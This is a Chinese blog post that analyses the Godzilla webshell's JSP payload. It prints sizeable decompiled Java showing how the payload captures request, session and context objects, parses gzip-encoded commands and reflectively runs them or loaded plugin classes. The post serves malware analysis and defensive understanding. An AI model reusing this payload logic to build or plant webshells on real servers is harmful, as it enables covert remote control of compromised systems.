现在是7月24号,回想起之前关于哥斯拉源码分析的文章其实还有颇多不足之处,做一点补充。之前已经提过了发送的指令数据如何封装发送。现在看看shell是怎么对指令做处理并且去执行的对应方法的。
在我们第一次注入进大马后,后续的指令发送,如果密码密钥之类的没问题,会走到下面逻辑
1 2 3 4 5 6 7 8 9
| request.setAttribute("parameters", data); java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); Object f = ((Class) session.getAttribute("payload")).newInstance(); f.equals(arrOut); f.equals(pageContext); response.getWriter().write(md5.substring(0, 16)); f.toString(); response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true))); response.getWriter().write(md5.substring(16));
|
f是注入的大马的实例,可以看到后续会调用其equals和toString方法。这里可不是判断相等和字符串输出的方法,而是自实现暗藏玄机的一段代码。在执行webshell管理器发送的指令起到了很关键的作用。
equals
没啥好说的,把收到的对象丢到handle函数处理。
1 2 3 4 5 6 7 8
| public boolean equals(Object obj) { if (obj != null && this.handle(obj)) { this.noLog(this.servletContext); return true; } else { return false; } }
|
handle
因此重心可以放在handle方法,这个方法用于处理和分发传入的不同对象类型。class$1没有显示初始化,因此可以用默认值看待,对于Class默认值应该是null。
这个是判断传入的对象是否是ByteArrayOutputStream类型,如果是的话,就将传入的对象赋值给该大马的outputStream成员变量。不是的话进入另外的分支。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| public boolean handle(Object obj) { if (obj == null) { return false; } else { Class var10000 = class$1; if (var10000 == null) { try { var10000 = Class.forName("java.io.ByteArrayOutputStream"); } catch (ClassNotFoundException var7) { throw new NoClassDefFoundError(((Throwable)var7).getMessage()); } class$1 = var10000; } if (var10000.isAssignableFrom(obj.getClass())) { this.outputStream = (ByteArrayOutputStream)obj; return false; } ...... }
|
走到上述代码的else分支语句中,涉及到了另一个方法,supportClass。这部分主要是检测传入的obj是否属于下面四个类,jakarta是为了tomcat10+版本做适配:
- javax.servlet.http.HttpServletRequest
- jakarta.servlet.http.HttpServletRequest
- javax.servlet.ServletRequest
- jakarta.servlet.ServletRequest
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| public boolean handle(Object obj){ ...... else{ if (this.supportClass(obj, "%s.servlet.http.HttpServletRequest")){ this.servletRequest = obj; } else if (this.supportClass(obj, "%s.servlet.ServletRequest")) { this.servletRequest = obj; } ...... } ...... }
private boolean supportClass(Object obj, String classNameString) { if (obj == null) { return false; } else { boolean ret = false; Class c = null; try { if ((c = getClass(String.format(classNameString, "javax"))) != null) { ret = c.isAssignableFrom(obj.getClass()); } if (!ret && (c = getClass(String.format(classNameString, "jakarta"))) != null) { ret = c.isAssignableFrom(obj.getClass()); } } catch (Exception var6) { } return ret; } }
|
如果上面四个类都没命中,就进入else语句,这里和刚刚一样class$0默认值为null,因此开始会将其和var10000赋值为字节数组的Class对象。所以后续匹配就是匹配obj是否为byte[]。如果是的话,就将obj赋值给当前大马的requestData成员变量。不是的话还会再次调用supportClass方法,去匹配java.servlet.http.HttpSession和jakarta.servlet.http.HttpSession这两个类。命中的话赋值给当前大马的httpSession成员变量。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| else { var10000 = class$0; if (var10000 == null) { try { var10000 = Class.forName("[B"); } catch (ClassNotFoundException var6) { throw new NoClassDefFoundError(((Throwable)var6).getMessage()); } class$0 = var10000; } if (var10000.isAssignableFrom(obj.getClass())) { this.requestData = (byte[])obj; } else if (this.supportClass(obj, "%s.servlet.http.HttpSession")) { this.httpSession = obj; }
this.handlePayloadContext(obj); }
|
这里匹配完会会调用handlePayloadContext方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| private void handlePayloadContext(Object obj) { try { Method getRequestMethod = this.getMethodByClass(obj.getClass(), "getRequest", (Class[])null); Method getServletContextMethod = this.getMethodByClass(obj.getClass(), "getServletContext", (Class[])null); Method getSessionMethod = this.getMethodByClass(obj.getClass(), "getSession", (Class[])null); if (getRequestMethod != null && this.servletRequest == null) { this.servletRequest = getRequestMethod.invoke(obj, (Object[])null); } if (getServletContextMethod != null && this.servletContext == null) { this.servletContext = getServletContextMethod.invoke(obj, (Object[])null); } if (getSessionMethod != null && this.httpSession == null) { this.httpSession = getSessionMethod.invoke(obj, (Object[])null); } } catch (Exception var5) { } }
|
这个方法是进一步获取其他环境信息,获取反射获取传入obj的getRequest、getServletContext、getSession属性,如果存在的话并且当前成员变量对应的值是null,那就赋值给成员变量。
比如在tomcat8就有如下调用,如果obj传入的是pageContext,就可以获取当前环境的HttpSession、ServletRequest和ServletContext,其他的也类似。
1 2 3 4 5 6 7 8
| request.getSession(); request.getServletContext(); session.getServletContext(); pageContext.getRequest(); pageContext.getSession(); pageContext.getServletContext();
|
接着下面代码看起来很长,实际就是如果有成员变量servletRequest,并且requestData为null。就去通过反射调用servletRequest.getAttribute(“parameters”)方法,如果返回的结果是字节数组,就将其赋值给requestData。
实际上就就是为了获取传入的data,因为还记得最开始提到shell的第一段代码是什么吗,正是request.setAttribute(“parameters”, data);。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| if (this.servletRequest != null && this.requestData == null) { Object var10001 = this.servletRequest; Class[] var10003 = new Class[1]; Class var10006 = class$2; if (var10006 == null) { try { var10006 = Class.forName("java.lang.String"); } catch (ClassNotFoundException var5) { throw new NoClassDefFoundError(((Throwable)var5).getMessage()); } class$2 = var10006; } var10003[0] = var10006; Object retVObject = this.getMethodAndInvoke(var10001, "getAttribute", var10003, new Object[]{"parameters"}); if (retVObject != null) { var10000 = class$0; if (var10000 == null) { try { var10000 = Class.forName("[B"); } catch (ClassNotFoundException var4) { throw new NoClassDefFoundError(((Throwable)var4).getMessage()); } class$0 = var10000; } if (var10000.isAssignableFrom(retVObject.getClass())) { this.requestData = (byte[])retVObject; } } }
|
这样下来思路就很清晰了,直接通过两个equals将大马payload中五个变量就赋值了,outputStream就是arrOut,servletContext、servletRequest、httpSession可以通过pageContext反射调用方法获取,然后requestData也是通过反射获取servletRequest中小马中加进去的data。

toString
接着就是toString方法了。先看最前面,首先是判断outputStream是否为null,这个我们用equal设置了为arrOut,自然不是null,因此可以走进语句,这里在用GZIPOutputStream封装outputStream前后会调用initSessionMap和formatParameter方法。
1 2 3 4 5 6 7 8 9
| public String toString() { String returnString = null; if (this.outputStream != null) { try { this.initSessionMap(); GZIPOutputStream gzipOutputStream = new GZIPOutputStream(this.outputStream); this.formatParameter(); ...... }
|
initSessionMap
先看看initSessionMap,这个方法主要是初始化一个SessionMap用于处理后续session相关部分的管理。首先是判断sessionMap这个成员变量是否为null,这个自然是的,因为前面的equal操作是没有对sessionMap做赋值的。然后会调用getSessionAttribute方法,通过反射执行getAttribute方法获取名为sessionMap的属性值。
实际上session中的Attribute还是以Map的结构存储的,刚刚通过反射执行自然也是null,因为我们还没有往session中的这个Map设置键为sessionMap的数据。因此后面会调用setSessionAttribute方法,这个方法同样也是通过反射去执行session的setAttribute方法。添加一个一个键为sessionMap,值是new的一个HashMap对象,当然在此之前该新建的HashMap对象也设置到了sessionMap这个成员变量中了。后续再调用到该方法就可以通过getSessionAttribute获取sessionMap了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| private void initSessionMap() { if (this.sessionMap == null) { if (this.getSessionAttribute("sessionMap") != null) { try { this.sessionMap = (HashMap)this.getSessionAttribute("sessionMap"); } catch (Exception var3) { } } else { this.sessionMap = new HashMap(); try { this.setSessionAttribute("sessionMap", this.sessionMap); } catch (Exception var2) { } } if (this.sessionMap == null) { this.sessionMap = new HashMap(); } } }
public Object getSessionAttribute(String keyString) { if (this.httpSession != null) { Object var10001 = this.httpSession; Class[] var10003 = new Class[1]; Class var10006 = class$2; if (var10006 == null) { try { var10006 = Class.forName("java.lang.String"); } catch (ClassNotFoundException var2) { throw new NoClassDefFoundError(((Throwable)var2).getMessage()); } class$2 = var10006; } var10003[0] = var10006; return this.getMethodAndInvoke(var10001, "getAttribute", var10003, new Object[]{keyString}); } else { return null; } }
public void setSessionAttribute(String keyString, Object value) { if (this.httpSession != null) { Object var10001 = this.httpSession; Class[] var10003 = new Class[2]; Class var10006 = class$2; if (var10006 == null) { try { var10006 = Class.forName("java.lang.String"); } catch (ClassNotFoundException var4) { throw new NoClassDefFoundError(((Throwable)var4).getMessage()); } class$2 = var10006; } var10003[0] = var10006; var10006 = class$5; if (var10006 == null) { try { var10006 = Class.forName("java.lang.Object"); } catch (ClassNotFoundException var3) { throw new NoClassDefFoundError(((Throwable)var3).getMessage()); } class$5 = var10006; } var10003[1] = var10006; this.getMethodAndInvoke(var10001, "setAttribute", var10003, new Object[]{keyString, value}); } }
|
接着还调用了formatParameter方法。首先清除parameterMap,避免上一次请求数据对本次请求有影响。然后将一些上下文相关的对象给设置进去,提供后续使用。
1 2 3 4 5 6 7 8
| public void formatParameter() { this.parameterMap.clear(); this.parameterMap.put("sessionMap", this.sessionMap); this.parameterMap.put("servletRequest", this.servletRequest); this.parameterMap.put("servletContext", this.servletContext); this.parameterMap.put("httpSession", this.httpSession); ...... }
|
接着定义了一些变量,parameterByte是给他赋值了requestData,也就是本次请求哥斯拉webshell管理器发送的请求体数据。然后将数据包装到了输入流tStream中,然后就是其余一些后续用的变量,后续看代码即可知道作用了。
1 2 3 4 5 6
| byte[] parameterByte = this.requestData; ByteArrayInputStream tStream = new ByteArrayInputStream(parameterByte); ByteArrayOutputStream tp = new ByteArrayOutputStream(); String key = null; byte[] lenB = new byte[4]; byte[] data = null;
|
下面这部分就是解析数据流中的指令了。首先对输入流gzip解压,然后开始循环读取每个字节,如果读取到的字节是-1的话,就代表流结束,那么就结束资源退出循环。
如果读取到的字节是2,代表分隔符,就开始解析一个键值对。其实就是evalFunc的逆向解析过程。我曾在连接部分的末尾放出了一个逻辑代码,可能之前只是想单纯做个笔记,就没有仔细解释,实际上就是将指令存储在hashMap中,然后对每个key和value之间,会插入五个字节,其中第一个字节就是分隔符2了,其余四个字节代表存储的是value的长度。
因此解析请求数据时就可以先一直读取,直到分隔符2,就可以知道key读取到了,接着读取四个字节,计算value的字节长度,得到后就读这么长的数据,那么读到的就是value了。然后就可以继续下一个key和value,直到数据流的结束。读到的这些键值对都put进parameterMap变量中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| GZIPInputStream inputStream = new GZIPInputStream(tStream); while(true) { byte t = (byte)((InflaterInputStream)inputStream).read(); if (t == -1) { tp.close(); tStream.close(); inputStream.close(); break; } if (t == 2) { key = new String(tp.toByteArray()); ((FilterInputStream)inputStream).read(lenB); int len = bytesToInt(lenB); data = new byte[len]; int readOneLen = 0; while((readOneLen += inputStream.read(data, readOneLen, data.length - readOneLen)) < data.length) { } this.parameterMap.put(key, data); tp.reset(); } else { tp.write(t); } }
|
ok接着回到toString方法,evalNextData应该是和扩展的shell有关,一般扩展和插件都需要include指令,我推测这里单独的run方法就是为了执行incldue指令将自定义字节码加载进来,然后因为改动了sessionMap,用formatParameter重新格式化一下。
那么接下来就是去正常执行run方法了,这是根据解析出来的指令动态调用具体的shell方法的核心代码,然后返回执行的结果。
1 2 3 4 5 6 7 8 9
| if (this.parameterMap.get("evalNextData") != null) { this.run(); this.requestData = (byte[])this.parameterMap.get("evalNextData"); this.formatParameter(); } ((FilterOutputStream)gzipOutputStream).write(this.run()); ((DeflaterOutputStream)gzipOutputStream).close(); this.outputStream.close();
|
run
首先从parameterMap中获取evalClassName和methodName的值,分别赋值给className和methodName,其中methodName不能为空,否则就直接返回method is null。
而如果className为空,那么就会去反射调用当前类的中的方法,具体的方法名由methodName指定。然后用getReturnType获取这个方法的返回值类型,如果是byte[],就调用方法并且返回结果,否则返回this method returnType not is byte[]的字节数组。
如果className不为空,就从sessionMap中获取对于的Class对象,然后newInstance实例化出来,接着调用其自实现的equals和toString方法。这里其实是在执行了include指令之后才会走到此处,include指令的功能是注入制定的字节码,很多插件扩展的功能的前置都是该指令。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| public byte[] run() { try { String className = this.get("evalClassName"); String methodName = this.get("methodName"); if (methodName != null) { if (className == null) { Method method = this.getClass().getMethod(methodName, (Class[])null); Class var12 = method.getReturnType(); Class var10001 = class$0; if (var10001 == null) { try { var10001 = Class.forName("[B"); } catch (ClassNotFoundException var6) { throw new NoClassDefFoundError(((Throwable)var6).getMessage()); } class$0 = var10001; } return var12.isAssignableFrom(var10001) ? (byte[])method.invoke(this, (Object[])null) : "this method returnType not is byte[]".getBytes(); } else { Class evalClass = (Class)this.sessionMap.get(className); if (evalClass != null) { Object object = evalClass.newInstance(); object.equals(this.parameterMap); object.toString(); Object resultObject = this.parameterMap.get("result"); if (resultObject != null) { Class var10000 = class$0; if (var10000 == null) { try { var10000 = Class.forName("[B"); } catch (ClassNotFoundException var7) { throw new NoClassDefFoundError(((Throwable)var7).getMessage()); } class$0 = var10000; } return var10000.isAssignableFrom(resultObject.getClass()) ? (byte[])resultObject : "return typeErr".getBytes(); } else { return new byte[0]; } } else { return "evalClass is null".getBytes(); } } } else { return "method is null".getBytes(); } } catch (Throwable e) { ByteArrayOutputStream stream = new ByteArrayOutputStream(); PrintStream printStream = new PrintStream(stream); e.printStackTrace(printStream); printStream.flush(); printStream.close(); return stream.toByteArray(); } }
|
以上就是本次全部内容,由于在工作之余完成,最近较忙可能有些纰漏和错误,思来想去还是发出来作为参考,如果有问题欢迎大家指正。后续如果有新的内容和改正的点也会在这里补充修改,。